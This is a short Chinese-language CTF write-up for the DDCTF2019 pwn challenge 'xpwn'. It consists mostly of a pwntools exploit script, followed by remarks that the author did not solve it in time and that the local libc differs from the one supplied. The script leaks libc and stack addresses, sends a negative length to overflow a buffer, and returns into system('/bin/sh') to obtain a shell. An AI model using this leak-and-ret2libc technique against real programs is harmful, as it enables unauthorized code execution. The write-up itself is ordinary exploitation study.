DDCTF2019-pwn

自己补一下栈

EXP

1
from pwn import *
sh=process("./xpwn")
libc=ELF("./libc.so.6")
sh.recvuntil('Enter username: ')
sh.send('a'*4*15)
sh.recvuntil('a'*4*15)
setbuf=u32(sh.recv(4))
sh.recv(8)
ebp=u32(sh.recv(4))
libcbase=setbuf-libc.symbols['setbuf']
print hex(libcbase)
sh.recvuntil('Please set the length of password: ')
sh.sendline('-1')
sh.recvuntil('Enter password(lenth 4294967295): ')
sh.send('a'*4*17+p32(ebp-8+0x20)+'a'*4*6+p32(libcbase+libc.symbols['system'])+p32(0xdeadbeef)+p32(libcbase+libc.search('/bin/sh').next()))
sh.interactive()

当时没做出来,因为如果直接填充a会报错,中间有一部分是要自己补的,感觉和canary差不多,现在做的时候没远程环境了,本地打不下来。

TCL

libc文件用本地的就行了,看来本地运行的libc和给的libc不一样…

libc = ELF('/lib/i386-linux-gnu/libc.so.6')

文章目录
  1. 1. EXP
  2. 2. TCL
|